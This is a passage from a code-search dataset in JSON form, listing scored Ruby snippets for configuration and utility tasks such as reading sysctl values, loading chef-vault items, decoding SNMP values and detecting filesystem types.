@options.fetch( :verbose ) >= 0\n else\n # present an interactive prompt for invalid answers unless '-ff'\n if @options.fetch( :noninteractive ) >= REALLY_NONINTERACTIVE\n raise \"FATAL: '#{item.value}' is an invalid answer for '#{item.key}'\"\n else\n # alert user that the value is wrong\n print_invalid_item_error item\n item.skip_query = false\n value = item.query\n end\n end\n end\n item.safe_apply\n end", "title": "" }, { "docid": "e10d89e5d8a519f5187ed87aecbad565", "score": "0.50841326", "text": "def read_sysctl_value(value)\n ret = ''\n val = Facter::Core::Execution.exec(\"sysctl #{value}\").split(%r{=})\n if !val.nil? && !val.empty?\n ret = val[1].strip\n end\n\n ret\nend", "title": "" }, { "docid": "12cc34cd5b7d613587c27ee51d3b45a2", "score": "0.5082998", "text": "def get_item_from_result(res)\n res.fetch('value', {}).fetch('S', nil)\n end", "title": "" }, { "docid": "91a28fcd2c234401b5f72768396c1695", "score": "0.5080558", "text": "def chef_vault_item(bag, item)\n begin\n require 'chef-vault'\n rescue LoadError\n Chef::Log.warn(\"Missing gem 'chef-vault', use recipe[chef-vault] to install it first.\")\n end\n\n if node['dev_mode']\n Chef::DataBagItem.load(bag, item)\n else\n ChefVault::Item.load(bag, item)\n end\n end", "title": "" }, { "docid": "92d1ec47e3de77ce3302f3defb1b866c", "score": "0.5079637", "text": "def object_value(dynamo_data)\n dynamo_data[dynamo_attribute_key].send dynamo_attribute_value_type_key\n end", "title": "" }, { "docid": "dfb788b1f1ae0af1f17fa7f58497e28e", "score": "0.50779426", "text": "def Item(arg0)\r\n ret = _invoke(0, [arg0], [VT_VARIANT])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "dfb788b1f1ae0af1f17fa7f58497e28e", "score": "0.50779426", "text": "def Item(arg0)\r\n ret = _invoke(0, [arg0], [VT_VARIANT])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "dfb788b1f1ae0af1f17fa7f58497e28e", "score": "0.50779426", "text": "def Item(arg0)\r\n ret = _invoke(0, [arg0], [VT_VARIANT])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "d62115e45a60270322055dde46c965b6", "score": "0.5069151", "text": "def get_recommended_value\n if os_value.empty?\n if ip = @config_items.fetch( 'cli::network::ipaddress', nil )\n [ip.value]\n else\n ['8.8.8.8 (CHANGE THIS)']\n end\n else\n os_value\n end\n end", "title": "" }, { "docid": "d94acf2a8fb6e9501bfbdac5d13e9eff", "score": "0.50649315", "text": "def lookup_attribute (attname, workitem)\n\n attname\n end", "title": "" }, { "docid": "97dafedc228ebdd9ca6eed66d1905ec0", "score": "0.505125", "text": "def items\n self.attrs[:value].items\n end", "title": "" }, { "docid": "8d4b9c9e40683449a0eb3f75bb063fd1", "score": "0.5032307", "text": "def app_item_id\n read_integer('app_item_id')\n end", "title": "" }, { "docid": "8b20b8326922380b740b3161957a284f", "score": "0.5029491", "text": "def normalise_item(item)\n case item\n when Symbol then normalise_string(item.to_s)\n when Array then normalise_array(item)\n when String then normalise_string(item)\n else raise Col::Error, \"Invalid item type: #{item.class}\"\n end\n end", "title": "" }, { "docid": "7839bffc2b3ee4f0843ec63f25272be9", "score": "0.50289637", "text": "def get_value\n read_attribute('text_value')\n end", "title": "" }, { "docid": "2135978ae99bbea02a9b8c4bd66be59d", "score": "0.50251466", "text": "def item;\n @item;\n end", "title": "" }, { "docid": "a20952aa198c31b798ff726806cc9b26", "score": "0.5018491", "text": "def determine_item(item_type, item_id)\n case item_type\n \n when \"weapon_id\"\n Weapon.find(item_id) \n when \"armor_id\"\n Armor.find(item_id)\n when \"potion_id\"\n Potion.find(item_id)\n end\n end", "title": "" }, { "docid": "ef46218ca8d02fc079a0211d6ca3906d", "score": "0.5016903", "text": "def value\n case object_type\n when Constants::ASN_OCTET_STR, Constants::ASN_OPAQUE\n struct.val[:string].read_string(struct.val_len)\n when Constants::ASN_INTEGER\n struct.val[:integer].read_long\n when Constants::ASN_UINTEGER, Constants::ASN_TIMETICKS, Constants::ASN_COUNTER, Constants::ASN_GAUGE\n struct.val[:integer].read_ulong\n when Constants::ASN_IPADDRESS\n struct.val[:objid].read_string(struct.val_len).unpack('CCCC').join(\".\")\n when Constants::ASN_NULL\n nil\n when Constants::ASN_OBJECT_ID\n Net::SNMP::OID.from_pointer(struct.val[:objid], struct.val_len / OID.oid_size)\n when Constants::ASN_COUNTER64\n counter = Wrapper::Counter64.new(struct.val[:counter64])\n counter.high * 2^32 + counter.low\n when Constants::ASN_BIT_STR\n # XXX not sure what to do here. Is this obsolete?\n when Constants::SNMP_ENDOFMIBVIEW\n :endofmibview\n when Constants::SNMP_NOSUCHOBJECT\n :nosuchobject\n when Constants::SNMP_NOSUCHINSTANCE\n :nosuchinstance\n else\n raise Net::SNMP::Error.new, \"Unknown value type #{object_type}\"\n end\n end", "title": "" }, { "docid": "59f2757ae950e65a1b10d0d063370358", "score": "0.4999128", "text": "def get_fs_type(device)\n fs_check = Mixlib::ShellOut.new(\"blkid -c /dev/null #{device}\")\n fs_check.run_command\n match = fs_check.stdout.match(/\\sTYPE=\\\"(.*?)\\\"/)\n match = '' if match.nil?\n\n Chef::Log.info(\"File system type for device #{device}: #{match[1]}\")\n match[1]\nend", "title": "" }, { "docid": "e8d6eda0750feb2ebbbd7a94bbec7ce6", "score": "0.49902627", "text": "def get_value keyname, valuename\n begin\n status = Open4::popen4(\"regtool\", \"get\", \"#{keyname}/#{valuename}\") do |c,i,o,e|\n return o.readline.chomp\n end\n rescue EOFError\n return nil\n end\n end", "title": "" }, { "docid": "f08bb7e7716ea39dcd8b9812efce284c", "score": "0.49892074", "text": "def find_item value\n self.find { |item| item.value == value }\n end", "title": "" }, { "docid": "eae22ac4dd7e3504738ed9961c18037c", "score": "0.49780747", "text": "def get_value\n value\n end", "title": "" }, { "docid": "eae22ac4dd7e3504738ed9961c18037c", "score": "0.49780747", "text": "def get_value\n value\n end", "title": "" } ]
aba9ead4deccf5902045188d70a863d9
Returns whether the join conditions references the given table
[ { "docid": "0b7efe5dbd0c36332653b9f93df06f81", "score": "0.6476662", "text": "def uses?(condition, table)\n name = table.as_name.to_s\n left_name = var_name(condition[1])\n right_name = var_name(condition[2])\n (left_name == name) or (right_name == name)\n end", "title": "" } ]
[ { "docid": "ff774773ce7bf1c45daf6591cd7af339", "score": "0.68378234", "text": "def join_table_exists?\n return true unless reflection.macro == :has_and_belongs_to_many\n subject_class.connection.tables.include?(reflection.options[:join_table].to_s)\n end", "title": "" }, { "docid": "1d6ea4505ae59cba027da6c6ab35b545", "score": "0.6770586", "text": "def references_other_tables?(conditions_sql)\n conditions_tables = tables_in_string(conditions_sql)\n conditions_tables.size > 1 || conditions_tables.first != self.table_name\n end", "title": "" }, { "docid": "76c78fa59d2cd0d8bdb273a4c31f1605", "score": "0.676602", "text": "def uses_join?(join_spec)\n initialize_query unless initialized?\n uses_join_sub(join, join_spec)\n end", "title": "" }, { "docid": "401ed9870da47860decc7941627ec094", "score": "0.67277163", "text": "def include? join\n @joins.include? join\n end", "title": "" }, { "docid": "52b3b4cbb6a78c49b0ecbaf64bc9dae4", "score": "0.660354", "text": "def join?\n [SQLTree::Token::JOIN, SQLTree::Token::LEFT, SQLTree::Token::RIGHT,\n SQLTree::Token::INNER, SQLTree::Token::OUTER, SQLTree::Token::NATURAL,\n SQLTree::Token::FULL].include?(self.class)\n end", "title": "" }, { "docid": "faaca2d3591f4f42aa271955a8c94d8c", "score": "0.64896095", "text": "def join_cond_list(cond, join_table)\n cond.map do |kv|\n EQUAL_COND % [\n qualified_field_name(kv[0], join_table), \n qualified_field_name(kv[1], @opts[:from])]\n end.join(AND_SEPARATOR)\n end", "title": "" }, { "docid": "a18aa9ff176e23060319d6e604d3d14e", "score": "0.64463717", "text": "def is_semi_conventional_join_table?\n @semi_conventional_join_table ||= begin\n naming_conventions.conventional_join_table_names(left_ass.parent_table, right_ass.parent_table).include?(join_table)\n end\n end", "title": "" }, { "docid": "d0097a28fad2eb09235790dc3d50ca15", "score": "0.6173986", "text": "def has_exported_join_table?(name, user)\n name = name.to_sym\n return true if name == :details # \"details\" is reserved for views and is always allowed\n self.exported_join_tables && self.exported_join_tables.detect{ | join |\n join[:name] == name && evaluate_export_limit( user, :join, join[:name], join[:limit] )\n }\n end", "title": "" }, { "docid": "2555721bf0bf16035f69e5272d8646d5", "score": "0.61515546", "text": "def add_conditions_to_arel_join(join)\n\t\t\t_table=join.left\n\t\t\t_conditions=self.join_condition_values.\n\t\t\t\t\t\t\t\t\t\t\t try(:[], _table.name.to_sym)\n\n\t\t\tArray.wrap(_conditions).map do |k_,v_|\n\t\t\t\tif k_.kind_of?(Proc)\n\t\t\t\t\tjoin.right=join.right.and(k_.call(_table))\n\t\t\t\telse\n\t\t\t\t\tjoin.right=join.right.and(_table[k_].eq(v_))\n\t\t\t\tend\n\t\t\tend if _conditions\n\t\tend", "title": "" }, { "docid": "2de41acb3fbfa6395473f9d81fd5e78a", "score": "0.61317563", "text": "def _if_join(arr, idx, request)\n if is_param_not_cmd(arr[idx + 1]) and is_param_not_cmd(arr[idx + 2]) and arr[idx + 2] == \"ON\"\n if is_param_not_cmd(arr[idx + 3]) and arr[idx + 3].include?(\"=\")\n join_col = arr[idx + 3].split(\"=\")\n if !is_param_not_cmd(join_col[0]) or !is_param_not_cmd(join_col[1]) \n return \"INVALID => JOIN is missing table columns\"\n else\n request.join(join_col[0], arr[idx + 1], join_col[1])\n return true\n end\n elsif is_param_not_cmd(arr[idx + 3]) and is_param_not_cmd(arr[idx + 4]) and \n arr[idx + 4] == \"=\" and is_param_not_cmd(arr[idx + 5])\n request.join(arr[idx + 3], arr[idx + 1], arr[idx + 5])\n return true\n else\n return \"INVALID => JOIN ON does not include a compare operator OR missing comparing tables\"\n end\n else\n return \"INVALID => JOIN is missing a table column OR missing ON command\"\n end\n end", "title": "" }, { "docid": "cc46444734521445fe4d2e8cdb5f3833", "score": "0.6104253", "text": "def supports_join_using?\n true\n end", "title": "" }, { "docid": "cc46444734521445fe4d2e8cdb5f3833", "score": "0.6104253", "text": "def supports_join_using?\n true\n end", "title": "" }, { "docid": "dbb674c598e7f40f70e6c513640fe817", "score": "0.6092352", "text": "def join_clause\n @enforce_order_on.inject([]) do |items, ordered_attr|\n items << \"#{table_name}.#{ordered_attr} = self_join.#{ordered_attr}\"\n items\n end.join(' and ')\n end", "title": "" }, { "docid": "6e95a1dc7a360ee935ecc1b6fb3ba4df", "score": "0.6067233", "text": "def supports_modifying_joins?\n true\n end", "title": "" }, { "docid": "eca972588dba98f35c32ef967d9bf0bd", "score": "0.60460967", "text": "def get_join_condition_sql\n join_sql = through_relation.join_condition\n join_sql = ::Rbt::Util::Template.replace_table_name_with_id(join_sql, @from_node.model.table_name, @from_node.id)\n join_sql = ::Rbt::Util::Template.replace_table_name_with_id(join_sql, @to_node.model.table_name, @to_node.id)\n return join_sql\n end", "title": "" }, { "docid": "d6a2e0ffe37aade98627cc63c9946341", "score": "0.60456306", "text": "def join_table\n @join_table ||= common_query.join_table\n end", "title": "" }, { "docid": "724ec89d22c3935079e19a8e605675b0", "score": "0.60247517", "text": "def needs_join_table(table1, type, table2, clause, join_name = nil)\n join_name ||= \"#{table1}=#{type}=#{table2}\"\n @needed_join_tables[join_name] ||= {}\n @needed_join_tables[join_name][table] ||= begin\n # define join for this part ('table' = unique for each part)\n \n first_table = table(table1)\n \n if !@table_counter[table2]\n @table_counter[table2] = 0\n second_table = table2\n else\n @table_counter[table2] += 1\n second_table = \"#{table2} AS #{table(table2)}\"\n end\n @join_tables[first_table] ||= []\n @join_tables[first_table] << \"#{type} JOIN #{second_table} ON #{clause.gsub('TABLE1',table(table1)).gsub('TABLE2',table(table2))}\"\n table(table2)\n end\n end", "title": "" }, { "docid": "daa13809f09097cde1e687b722248ab8", "score": "0.60110295", "text": "def join_dependency\n @join_dependency ||= (build_join_dependency(table.from(table), @joins_values) && @join_dependency)\n end", "title": "" }, { "docid": "c39d9aa8ac6cc9d3ad0777ad6d59d6c2", "score": "0.59919846", "text": "def join_table\n if type == :has_and_belongs_to_many\n ar_association.join_table\n end\n end", "title": "" }, { "docid": "02cae45b79539bdcdb171bfc836e5f29", "score": "0.5987424", "text": "def join_on(joinType, table, condition)\n @joins << (\"#{joinType} join #{table} on \"\\\n \"(#{Translate.substitute_values(condition)})\")\n end", "title": "" }, { "docid": "611d385f3d8973d73ff06f6df59318cc", "score": "0.59850293", "text": "def supports_modifying_joins?\n false\n end", "title": "" }, { "docid": "611d385f3d8973d73ff06f6df59318cc", "score": "0.59850293", "text": "def supports_modifying_joins?\n false\n end", "title": "" }, { "docid": "e01d335ce4b27e6997d3d4164d9fe9c0", "score": "0.5968269", "text": "def uses_table?(table)\n initialize_query unless initialized?\n table_list.map(&:to_s).include?(table.to_s)\n end", "title": "" }, { "docid": "a7e46dd057d7c749770c5b07cd221170", "score": "0.5924124", "text": "def supports_join_using?\n false\n end", "title": "" }, { "docid": "34fabe211ee04ff823ed6b6a4b9340b5", "score": "0.59197503", "text": "def supports_join_using?\n false\n end", "title": "" }, { "docid": "34fabe211ee04ff823ed6b6a4b9340b5", "score": "0.5919164", "text": "def supports_join_using?\n false\n end", "title": "" }, { "docid": "2a05bc0e1bba244b0f9ac70f6d244118", "score": "0.5906663", "text": "def need_join_scope?(scope_name)\n true\n end", "title": "" }, { "docid": "b1e4ab62c8adcf9a06afd35686e89419", "score": "0.590242", "text": "def member_of?(group)\n check_if_tekeya_group(group)\n tekeya_relation_exists?(self, group, :joins)\n end", "title": "" }, { "docid": "89415edf7058d3ef89d6eae25c8350dd", "score": "0.58639395", "text": "def calc_join_condition(from, to, done)\n from = from.sub(/\\..*/, \"\")\n to = to.dup\n do_outer = to.sub!(/!$/, \"\")\n\n result = []\n unless done.include?(to)\n done << to\n\n # Check for \"forward\" join first, e.g., if joining from observatons\n # to rss_logs, use \"observations.rss_log_id = rss_logs.id\",\n # because that will take advantage of the primary key on rss_logs.id.\n if (col = (JOIN_CONDITIONS[from.to_sym] &&\n JOIN_CONDITIONS[from.to_sym][to.to_sym]))\n to.sub!(/\\..*/, \"\")\n target_table = to\n\n # Now look for \"reverse\" join. (In the above example,\n # and this was how it used to be, it would be\n # \"observations.id = rss_logs.observation_id\".)\n elsif (col = (JOIN_CONDITIONS[to.to_sym] &&\n JOIN_CONDITIONS[to.to_sym][from.to_sym]))\n to.sub!(/\\..*/, \"\")\n target_table = to\n from, to = to, from\n else\n raise(\"Don't know how to join from #{from} to #{to}.\")\n end\n\n # By default source table column is just \"id\"; enter both target and\n # source columns explcitly by making join table value an Array.\n if col.is_a?(Array)\n col1, col2 = *col\n else\n col1 = col\n col2 = :id\n end\n\n # Calculate conditions.\n conds = if col1.to_s.end_with?(\"_id\")\n \"#{from}.#{col1} = #{to}.#{col2}\"\n else\n \"#{from}.#{col1}_id = #{to}.id AND \" \\\n \"#{from}.#{col1}_type = '#{to.singularize.camelize}'\"\n end\n\n # Put the whole JOIN clause together.\n result << if do_outer\n [\"LEFT OUTER JOIN `#{target_table}` ON #{conds}\"]\n else\n [\"JOIN `#{target_table}` ON #{conds}\"]\n end\n end\n result\n end", "title": "" }, { "docid": "ab28a031a323826fcee7093e7a1df051", "score": "0.582312", "text": "def in_table?\n @x && @y && @face\n end", "title": "" }, { "docid": "09dc1e6cbb9da7d86e016f56a7ce1cbf", "score": "0.5802883", "text": "def has_relationships?(table)\n !table.capitalize.constantize.relationships.empty?\n end", "title": "" }, { "docid": "b22d2b9ca52da021e1cab6efba826774", "score": "0.5792837", "text": "def joins_and_conditions_from_current_scope\n join_dependency = construct_join_dependency_for_association_find\n relation = construct_relation_for_association_find(join_dependency)\n joins_sql = relation.arel.join_sql\n conditions_sql = arel.where_sql || ''\n conditions_sql.sub!('WHERE', '')\n [joins_sql, conditions_sql]\n end", "title": "" }, { "docid": "6f88e2c7af5e3fd202aa299753445051", "score": "0.57925236", "text": "def foreign_key_exists?(from_table, to_table = T.unsafe(nil), **options); end", "title": "" }, { "docid": "3323d1666881ac8726981f08414526af", "score": "0.57823384", "text": "def build_join(base)\n conditions = table.create_and([])\n builder = base.predicate_builder\n foreign_table = base.arel_table\n\n # Check if it's necessary to load the join from an association\n if @association.present?\n association = base.reflections[@association]\n\n # Require source of a through reflection\n if association.through_reflection?\n base.joins(association.source_reflection_name)\n\n # Changes the base of the connection to the reflection table\n builder = association.klass.predicate_builder\n foreign_table = ::Arel::Table.new(association.plural_name)\n end\n\n @query.merge(association.join_scope(@query.arel_table, foreign_table, base))\n\n # Add the join constraints\n constraint = association.build_join_constraint(table, foreign_table)\n constraint = constraint.children if constraint.is_a?(::Arel::Nodes::And)\n conditions.children.concat(Array.wrap(constraint))\n end\n\n # Build all conditions for the join on statement\n @join.inject(conditions.children) do |arr, (left, right)|\n left = project(left, foreign_table)\n item = right.is_a?(Symbol) ? project(right).eq(left) : builder.build(left, right)\n arr.push(item)\n end\n\n # Raise an error when there's no join conditions\n raise ArgumentError, <<-MSG.squish if conditions.children.empty?\n You must provide the join columns when using '#{@query.class.name}'\n as a query object on #{self.class.name}.\n MSG\n\n # Build the join based on the join type\n arel_join.new(table, table.create_on(conditions))\n end", "title": "" }, { "docid": "ce0c674c3a2ec9cba1acabdbfa43fc36", "score": "0.576922", "text": "def table_ok? db_info,table\n db_info.keys.include? table\n end", "title": "" }, { "docid": "dc45de72fdf830e676edeaff71dd2bf5", "score": "0.5769035", "text": "def joinable?\n (self.subfields.nil? || self.subfields.size != 1)\n end", "title": "" }, { "docid": "dc45de72fdf830e676edeaff71dd2bf5", "score": "0.5768794", "text": "def joinable?\n (self.subfields.nil? || self.subfields.size != 1)\n end", "title": "" }, { "docid": "c7d1854be486276d5707a7a3db5d3434", "score": "0.5763637", "text": "def joined?\n meta[:joined].equal?(true)\n end", "title": "" }, { "docid": "024e63d91f777d5d7369e692c45de0e2", "score": "0.57510304", "text": "def join_clause_sql(jc)\n table = jc.table\n table_alias = jc.table_alias\n table_alias = nil if table == table_alias\n tref = table_ref(table)\n \" #{join_type_sql(jc.join_type)} #{table_alias ? as_sql(tref, table_alias) : tref}\"\n end", "title": "" }, { "docid": "d5e6ad42982fbb7f40a689944f4b4fa7", "score": "0.57257783", "text": "def add_joins_and_conditions(query, reflection)\n # construct the join from journals table to the assignments_table\n query.join(join_table).on(\n join_table.primary_key.eq(\n assignments_table[:assigned_to_id]\n ).and(\n assignments_table[:assigned_to_type].eq(\n assigned_to_klass.base_class.name\n )\n )\n )\n\n # construct the join from papers table to the journals table\n query.outer_join(through_table).on(\n through_table[through_reflection.foreign_key].eq(\n join_table.primary_key\n )\n )\n\n # construct the join from tasks table to the papers table\n query.outer_join(klass.arel_table).on(\n if klass.column_names.member?(reflection.foreign_key)\n # has_one on the through_klass\n klass.arel_table[reflection.foreign_key]\n .eq(through_klass.arel_table.primary_key)\n else\n # belongs_to on the through_klass\n klass.arel_table.primary_key\n .eq(through_klass.arel_table[reflection.foreign_key])\n end)\n\n common_query.add_column_condition(\n query: query,\n column: through_klass.arel_table.primary_key,\n values: @target.where_values_hash[through_target_reflection.foreign_key]\n )\n\n query\n end", "title": "" }, { "docid": "f55cd78c9493b65ae4c3d887dab72229", "score": "0.5702919", "text": "def join_dependency\n @join_dependency ||= (build_join_dependency(table, @joins_values) && @join_dependency)\n end", "title": "" }, { "docid": "cc7f8bfcb8a6f9369a740761201f6eac", "score": "0.5681566", "text": "def _where_order_join_valid(flag)\n if @where_idx != 0 and @join_idx != 0 and @where_idx < @join_idx\n flag = false\n elsif @order_idx != 0 and @where_idx != 0 and @order_idx < @where_idx\n flag = false\n elsif @order_idx != 0 and @join_idx != 0 and @order_idx < @join_idx\n flag = false\n end\n return flag\n end", "title": "" }, { "docid": "06e05d827236c2a7427d6a745ee9f9fc", "score": "0.56709296", "text": "def foreign_key_exists?(from_table, to_table)\n foreign_key_for(from_table, to_table).present?\n end", "title": "" }, { "docid": "a7a47d495dc5db080dd79780ea335598", "score": "0.5665996", "text": "def merge_joins_with_consistent_conditions(*args)\n joins = merge_joins_without_consistent_conditions(*args)\n joins.collect do |j|\n if j.is_a?(String) && (j =~ / (AND|OR) /i).nil?\n j.gsub(/(.*) ON (.*) = (.*)/) do |m|\n join, cond1, cond2 = $1, $2, $3\n sorted = [cond1.gsub(/\\(|\\)/, \"\"), cond2.gsub(/\\(|\\)/, \"\")].sort\n \"#{join} ON #{sorted[0]} = #{sorted[1]}\"\n end\n else\n j\n end\n end.uniq\n end", "title": "" }, { "docid": "c94660249b76f3042e5228237854c9fa", "score": "0.56590056", "text": "def join_on_clause_sql(jc)\n \"#{join_clause_sql(jc)} ON #{literal(filter_expr(jc.on))}\"\n end", "title": "" }, { "docid": "0dc095bf4f8098c38aae9303493ad813", "score": "0.5636784", "text": "def uses_table_subs?\n sql.include?('{{table_name}}') || sql.include?('{{table_fields}}')\n end", "title": "" }, { "docid": "52301c52e689eaf89cfb13dd518c137d", "score": "0.56353986", "text": "def join_table\n assigned_to_klass.arel_table\n end", "title": "" }, { "docid": "7472fb0d3fbb2be6085b76220a76e505", "score": "0.56286836", "text": "def same_table_conditions(conditions)\n normalized_conditions(conditions).select{ |cond| cond =~ /\\b#{table_name}.?\\./ }\n end", "title": "" }, { "docid": "4b1b39fde9f2880942ebb125f024a8ea", "score": "0.5623112", "text": "def has_conjoins? leaves\n leaves.any? { |leaf| leaf.conjoin.present? }\n end", "title": "" }, { "docid": "ec9eb512a6b891814d0627eb9df7a6d5", "score": "0.5620021", "text": "def join_comparisons(table1, table2, attrs)\n attrs.map do |attr|\n \"#{table1}.#{attr} = #{table2}.#{attr}\"\n end.join(' AND ') + ' '\n end", "title": "" }, { "docid": "88f0f326a2b37effa8b5107a2a929ee0", "score": "0.56131744", "text": "def has_reference?(table,id)\n !MssqlReference.where(local_object:self,remote_object_table:table,remote_object_id:id).empty?\n end", "title": "" }, { "docid": "30bd0111ee06322e84405d30d640dfc8", "score": "0.5609205", "text": "def supports_modifying_joins?\n is_2005_or_later?\n end", "title": "" }, { "docid": "eb784ef5e4c82dc032410500b1abea30", "score": "0.56059873", "text": "def qualify_columns?\n @qualify_columns = !(included_associations.empty? && shallow_included_associations.empty?) || !@joins.nil?\n def self.qualify_columns?\n @qualify_columns\n end\n @qualify_columns\n end", "title": "" }, { "docid": "f16f59bcbe640ba6dccd5a89b89b6208", "score": "0.5564892", "text": "def join_table(type, table, expr=nil, options=OPTS, &block)\n super(type, db.implicit_qualify(table), expr, options, &block)\n end", "title": "" }, { "docid": "9f6cd23ca50c83278c1311356246cb69", "score": "0.55584586", "text": "def finding_with_ambiguous_select?(select_clause)\n !select_clause && @owner.connection.columns(@reflection.options[:join_table], \"Join Table Columns\").size != 2\n end", "title": "" }, { "docid": "ca88abb52725eda0246e695b4ac04669", "score": "0.55578345", "text": "def join(table, type: nil)\n @sql += \" #{type.upcase}\" unless type.nil?\n @sql += \" JOIN #{table}\"\n\n self\n end", "title": "" }, { "docid": "fea31f7244450e1c293c29f4463fae10", "score": "0.55459386", "text": "def searchable_has_many_through?\n\n if reflection && reflection.options[:through]\n\n reflection.through_reflection.klass.ransackable_attributes.include? reflection.foreign_key\n\n else\n\n false\n\n end\n\n end", "title": "" }, { "docid": "35a9b7b3d0656a694989e03bcb3c53a5", "score": "0.55399", "text": "def joins\n @joins ||= (self.columns.reject(&:virtual).map(&:column_source).reject(&:blank?).map(&:to_s) + self.class.joins).uniq\n end", "title": "" }, { "docid": "8fecfe60ce00aa0aa836bcc2f069cac4", "score": "0.55245245", "text": "def searchable_has_many_through?\n if reflection && reflection.options[:through]\n reflection.through_reflection.klass.ransackable_attributes.include? reflection.foreign_key\n else\n false\n end\n end", "title": "" }, { "docid": "785b471576612a7522ff4065df781491", "score": "0.5524348", "text": "def join_table(type, table, expr=nil, opts=OPTS, &block)\n if (type == :cross) && !expr.nil?\n Sequel::Deprecation.deprecate(\":cross join type with conditions being converted to INNER JOIN on MySQL\", \"Use :inner join type instead\")\n type = :inner\n end\n raise(Sequel::Error, \"MySQL doesn't support FULL OUTER JOIN or NATURAL FULL JOIN\") if type == :full_outer || type == :natural_full\n super(type, table, expr, opts, &block)\n end", "title": "" }, { "docid": "51ad934fad6174eb1a217dec667b8146", "score": "0.5517543", "text": "def join_columns\n join_attributes + @join.map do |left, right|\n if right.is_a?(Symbol)\n project(left, base_table).eq(project(right))\n else\n project(left).eq(right)\n end\n end\n end", "title": "" }, { "docid": "20f682fa49be72c162ccafc1e1b3e371", "score": "0.55048984", "text": "def foreign_key_exists?(from_table, options_or_to_table = {})\n foreign_key_for(from_table, options_or_to_table).present?\n end", "title": "" }, { "docid": "a9e171640b6b984ecacbf1e6f46b218a", "score": "0.55036455", "text": "def table_name_matches?(from)\n table_name = Regexp.escape(table.name)\n quoted_table_name = Regexp.escape(connection.quote_table_name(table.name))\n /(?:\\A|(?<!FROM)\\s)(?:\\b#{table_name}\\b|#{quoted_table_name})(?!\\.)/i.match?(from.to_s)\n end", "title": "" }, { "docid": "13c8efdff2b910548bf4172aa01b38ea", "score": "0.5500145", "text": "def include?(on)\n @lock.synchronize { @table.include?(on) }\n end", "title": "" }, { "docid": "dac39ed36905a335182e3250694ab0bc", "score": "0.5495524", "text": "def full_outer_join(table, expr); join_table(:full_outer, table, expr); end", "title": "" }, { "docid": "fe9f7e40f7fb31b46de1184ca328e8b2", "score": "0.54818004", "text": "def join_table(type, table, expr=nil, options=OPTS, &block)\n ds = super(type, db.implicit_qualify(table), expr, options, &block)\n\n if join_hints = options[:hints]\n hints = opts[:join_hints] ? opts[:join_hints].dup : {}\n hints[ds.opts[:join].last] = \"/* +#{Array(join_hints).join('|').upcase} */ \".freeze\n hints.freeze\n ds = ds.clone(:join_hints=>hints)\n end\n\n ds\n end", "title": "" }, { "docid": "eb07e9b29373b6932dee09780f4048d5", "score": "0.54805416", "text": "def matching_records_arel(table_name)\n s = Arel::Table.new(\"#{table_name}_view\")\n v = Arel::Table.new(valid_values_view)\n arel_nodes = column_names_for_matching.map do |c|\n if required_column_names.include? c\n v[c].eq(s[c])\n else\n # if optional, check if NULL is allowed for this particular combination\n # e.g. unit code can be blank only if paired with certain terms\n v[c].eq(s[c]).or(v[c].eq(nil).and(s[c].eq(nil)))\n end\n end\n join_conditions = arel_nodes.shift\n arel_nodes.each{ |n| join_conditions = join_conditions.and(n) }\n valid_values = s.project(s['*']).join(v).on(join_conditions)\n scoped_records_arel(s).except(valid_values)\n end", "title": "" }, { "docid": "10b4af144e6260b406acabb9a3f2ba1e", "score": "0.54604244", "text": "def cross_join(table)\n @joins << \"cross join #{table}\"\n end", "title": "" }, { "docid": "52c7fbf32c102a583497f6a3f11d3a29", "score": "0.54560864", "text": "def matching_records_arel(table_name)\n s = Arel::Table.new(\"#{table_name}_view\")\n v = Arel::Table.new(valid_values_view)\n join_nodes = column_names_for_matching.map do |c|\n if required_column_names.include? c\n v[c].eq(s[c])\n else\n # if optional, check if NULL is allowed for this particular combination\n # e.g. unit code can be blank only if paired with certain terms\n v[c].eq(s[c]).or(v[c].eq(nil).and(s[c].eq(nil)))\n end\n end\n valid_values = s.project(s[Arel.star]).join(v).on(join_nodes.inject(&:and))\n scoped_records_arel(s).except(valid_values)\n end", "title": "" }, { "docid": "ba3dd4136e5576d723c9892135149afb", "score": "0.5452412", "text": "def query_join_strict(is_strict)\n\t\tis_strict ? 'AND' : 'OR'\n\tend", "title": "" }, { "docid": "2f40b4a208fd7c6a35b3cf9838b9450c", "score": "0.54496515", "text": "def matches?\n true.tap do\n table.hashes.each do |attributes|\n return false unless model.where(attributes).exists?\n end\n end\n end", "title": "" }, { "docid": "75aff4ffc13bfedecd4893a3b5723dd1", "score": "0.5437836", "text": "def has_table?(table)\n tables.map(&:to_s).include?(table)\n end", "title": "" }, { "docid": "f6f9b1b61cfed84bb53bdd05a9d1ade5", "score": "0.54287535", "text": "def query_join_strict(is_strict)\n is_strict ? 'AND' : 'OR'\n end", "title": "" }, { "docid": "8fa454e269bd3f694bac8ef58478de2a", "score": "0.5425023", "text": "def id_present?(table, other)\n return false if (table.nil? or other.nil?)\n return table.any?{|t| other.any?(t)}\nend", "title": "" }, { "docid": "d43f8a756e4f5bac2c9b18dc5428f8bb", "score": "0.5423135", "text": "def association_table(column)\n column[0..4] == \"rel::\"\n end", "title": "" }, { "docid": "ef602dd5787948f3941e32579f62c3ed", "score": "0.54211384", "text": "def split_joins(joins, table, tables_tail)\n joins.partition{|j|\n uses?(j, table[0]) && !tables_tail.find{|t|\n uses?(j, t[0])\n }\n }\n end", "title": "" }, { "docid": "48c86fe18a0fdc650c1e6dbf4a32c5e2", "score": "0.5398667", "text": "def join_clause!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 7 )\n\n type = JOIN_CLAUSE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 170:5: 'JOIN' WS TABLE_REFERENCE ( WS )?\n match( \"JOIN\" )\n ws!\n table_reference!\n # at line 170:31: ( WS )?\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0.between?( 0x9, 0xa ) || look_15_0 == 0x20 )\n alt_15 = 1\n end\n case alt_15\n when 1\n # at line 0:0: WS\n ws!\n\n end\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 7 )\n\n end", "title": "" }, { "docid": "04745737536a249e546ed8f39924e121", "score": "0.5396337", "text": "def is_in_use?\n self.class.reflect_on_all_associations(:has_many).each do |r|\n return true if self.send(r.name).count > 0\n end\n false\n end", "title": "" }, { "docid": 